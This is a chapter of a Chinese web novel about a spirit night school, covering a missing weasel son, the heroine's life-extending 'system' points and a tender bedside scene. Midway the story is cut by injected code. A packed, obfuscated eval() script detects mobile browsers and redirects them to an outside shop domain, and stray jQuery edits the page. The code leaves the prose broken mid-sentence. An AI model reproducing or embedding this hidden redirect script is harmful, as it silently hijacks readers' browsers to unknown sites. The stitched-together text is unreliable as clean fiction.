“校长,校长,不好意思啊,这么晚来打扰你。”黄四仁他爸牵着一只小黄鼠狼,神色间几分焦急,手里牵着的小家伙到了新地方,立刻挣开了他的手,新奇的到处看。
“怎么了?”程星痕看了眼好奇的小家伙,没有阻止这个明显还处在幼年期的崽子。
黄鼠狼一家到了这边后一直都在适应新环境,还协调邻里关系,简直是灵怪中省心好楷模。
“小五,快过来,不要在这乱动,”黄老爹招手,可活泼的小黄鼠狼根本叫不回来,一个转身,蓬松的大尾巴扫过白简的腿。白简低头,对上圆溜溜的黑亮褐色眼睛,不自觉的弯起了嘴角。
“以前不觉得,现在一看,黄鼠狼还怪可爱的。”白简摸了一块芡实糕,递给了黄家的小五。
黄老爹看到小五在这没人嫌弃,也就不再管她。说起了正事:“校长,四仁不见了!这孩子不省心,留了一封信就跑了。哎,就像他当初跑来夜校一样……”
黄老爹及时闭嘴,将那封信拿了出来。
程星痕看了后递给了莫不言,莫不言蹙着眉:“四仁的事我刚还在和校长说,他要请封是要讲缘分的,像他这样自己出去找,得找到什么时候?”
“太心急了,”莫不言叠好那张纸,还给了黄老爹,“原本我打算忙过了这几天,给他请一卦,至少知道下大概的方位,到底还是来不及了。你们自己家先到处问问吧,看看能不能问到什么线索。”
“这孩子,这急性子也不知道像谁。”黄老爹一拍大腿,愁眉苦脸的坐下,“我们家也就北边有一些出息的亲戚,不过那都多少年不联系了,四仁应该不会去那边。”
北边。莫不言指尖微动,和程星痕对视一眼。
白简还在那带小黄狼,俨然成了肖咪咪第二。
已经走出饭厅的老高举着手机跑了回来:“校长校长,不好了。志浩他们的电话都打不通了!”
程星痕将脸埋进掌心。
“我这才准备给志浩打个电话沟通下,结果他俩电话都打不通。你说这怎么可能呢?才这个点,他俩还能去蹦迪了?”
“真不容易,你连蹦迪都知道。”无精打采地抬起脸,程星痕丧出天际:“还有什么噩耗一起来吧。”
“昨天那个厉害得不得了的灵怪跑了,五雷符都没能轰死她。”
“后面夜校的宿舍不够用了,马上招生进来,小动物可以回后山,但是老高带过来的那几个住不下。”
“咪没有手机,咪也是灵怪。”
“今天老宅打来电话,下个月是夫人的生日,请您回去呢。”
“黎昕的电话打了几次,被您拉黑后,他就开始找我啦。”
“要不全都一锅炖了吧。”程星痕喃喃。
随后她默默起身,朝着楼梯走去。身形萧瑟,还不如一直睡下去呢。
“振作一点啊,”系统蹦出来,灵活地开始转圈:“我这里有好消息。”
“你之前送去灵管局的灵怪,我申请了额外加分,也算你的业绩。前后加一起有四个,你猜有多少分能续多久的命了?”
“我不猜。”将自己摔进床上,被子一卷躺平了。
“哼,我这可是实打实的好消息,虽然你没能渡化他们,但把他们交给灵管局,也算是让他们受到应有的惩罚,所以都是按照渡化的标准给你算的。你现在的业绩相当于以前帮了20个灵怪了!比你过去干的两年都多!”
“真的?!”她腾地坐起来,太激动了眼前开始发黑,重新倒了下去。
“你早说这么干能这么快,我还不得把灵怪打穿!”
“真的吗?”系统调侃:“那把刀当时就劝你别用,用一次得躺那么久,根本不利于持续发展。你急功近利,非要使,气血都被你亏光了。你要真这么赚分续命,估计灵怪没杀几个自己就先不行了。”
哎,愁啊。
“你看现在多好,打手多能干啊。不仅替你管理还能一道雷劈死灵怪。你看这一次,白捡的劳动力啊,一下串了三个,帮你解决多大的麻烦,而且灵管局关系还维护了。”
程星痕还是没说话。沉甸甸的石头压在心里,虽然系统的消息让她快乐了一下,但那个烦心的事情这次还是没解决。
“哎呀,这都是好事情啊,你也别多想了。那个灵怪跑了就跑了吧,下次遇到一定杀了。”
真的能吗?五雷符加上除灵刀都没能彻底杀了她。留下一条胳膊又能怎么样?等她哪天喘过气了,又得惦记她了。
哪有一天到晚防贼的。万一她这次怀恨在心,找到她家人怎么办?
她就这么睁着眼看着窗外,不知道过了多久,门锁一声的轻微的咔哒声,门缝里透进走廊的灯光,照出床上那一团陷进黑暗的身影。
白简以为她睡着了,脚步又慢又轻。他的腿已经好了很多,走路不会再一只脚重一只脚轻。过不了多久就能恢复到正常行走。
他靠近床边看到了程星痕没有神采的眼睛直愣愣地看着窗外。
他打开了床头的灯,蹲下看她:“怎么不睡觉?睡不着吗?”
“我来陪陪你,怕你睡着了就没敲门。抱歉,下次进来前一定先敲门。”
空洞的视线转移到他脸上,他好关切地看着她。
她眨眨眼,动作细微地摇摇头。
他以为她还在烦心,语调柔和的宽慰着:“这些都交给我们来。莫不言去找找黄四仁,我去志浩那边看看,你不要操心了,好好休息。”
“那你赶紧走吧,你在这我睡不着。”床头的灯色调暖黄,在她的脸上投下一圈温柔的阴影,纤长的眼睫眨动,小扇子般扫到下眼睑。再睁开眼,那双明媚的总是透着股盛气凌人的桃花眼,凌厉的气势被眼里的水光冲淡。
白简心头犯软,他从蹲着的姿势转而坐到了床边。一只手伸到了她面前,替她拨开了有些挡眼睛的碎发。
黑软的长发披散在床铺上,弯沉一道柔软的弧度。她躺在这道柔软里,像个刚苏醒的海妖半垂着眼,神情恹恹。
窗帘没有拉,落地窗的玻璃上荡开一圈波光,白简猜想,肯定又是楼下池塘里的几尾锦鲤摇着尾巴开始了觅食。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897317|212750||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“我在这陪你吧,你晚上吃得少,要是饿了渴了,我还能照顾你。虽然不会做饭,但至少能跑跑腿,梅姨让厨子留了些吃的在冰箱。”
程星痕却不习惯这样的温情。她从小到大为了不把麻烦带给别人,一直都太独立。
“我不吃内脏,也不爱吃肉,鱼虾海鲜得看品种和产地。”她继续放空,嘴巴一张一合说着自己的喜好。
“鸡鸭得看做法,葱姜蒜一概不吃,做的时候可以加,但一定要挑出来。糕点要甜的不要咸的,喝茶只喝当季新茶陈茶不能进家。还有,你睡过的床我挺膈应的,准备把床垫都扔了。”
她企图像从前对付家里人那样,用自己有多无理来吓退别人。
白简笑起来,怕笑意太甚碍着某位大小姐的眼,握着拳挡住了弯起的嘴角。“好,我到时候帮着抬出去,看看扔在哪,我偷偷捡回来。”
“你烦得很。”她翻身过去,头发压到了下面,觉得不舒服又将头发拢到一起抽出来。
白简去拿了一把梳子,从她头皮开始给她慢慢的梳起来。“我看网上说,多梳头对头皮好,还能助眠。”
不知道他从哪看来的,但确实挺舒服的。面对着黑暗的这一侧,程星痕眼睛睁着,没了那副慵懒样。
白简曲起腿,身体前倾靠近程星痕。就在此时,程星痕极轻的声音传来:“其实那会我知道她。”
“什么?”他没听懂这话的意思,但是程星痕也不是需要一个懂的人。
“第一听到她的名字,是她以专业第一的成绩进学校。老师们都把她当成宝,带我的教授和我提过,非常难得的天赋选手,一直夸她的画多么的有灵气。但我那会不喜欢和人接触,而且我比她大两届,虽然听到过她的名字但并没有放在心上。”
“哦对了,她叫徐秀妍。”
一个秀气雅致的名字,一个内向单纯的女孩子,一段被埋在黑暗里的人生。
“其实就算我知道,我可能也不会去管别人的闲事。”她自己还是一堆破事,没本事处理好那些靠近她的灵怪,已经让她焦头烂额。
“你不要想太多,她的人生到这一步不是你造成的。”白简温热的掌心附上她的肩头,“你好好休息。”
白简没有告诉程星痕,莫不言在那本日记最后看到的是,如果我能有她那样的人生,我还会成为这些人恶意的宣泄口吗?好想成为她,好想成为一个耀眼的人啊。
这也许就是灵怪盯上她的原因。
“嗯。”程星痕低低的应了一声,随后安静的闭上眼。
身后梳头的动作过了一会终于停了。
程星痕在黑暗中睁开眼,盯着黑暗中的某个点。她拿出手机,看到了之前的信息回复:你说的那些人,都已经意外离世了。
按灭了手机,程星痕发了好一会的呆。
白简迷迷糊糊的捏着被角往上拉,整个人陷进了床铺中。大脑回忆了几秒,他翻身看向床周,是空的。
程星痕跑哪去了?睡意极快消散,白简掀开盖在身上的被子,套上拖鞋在套房里找了个遍。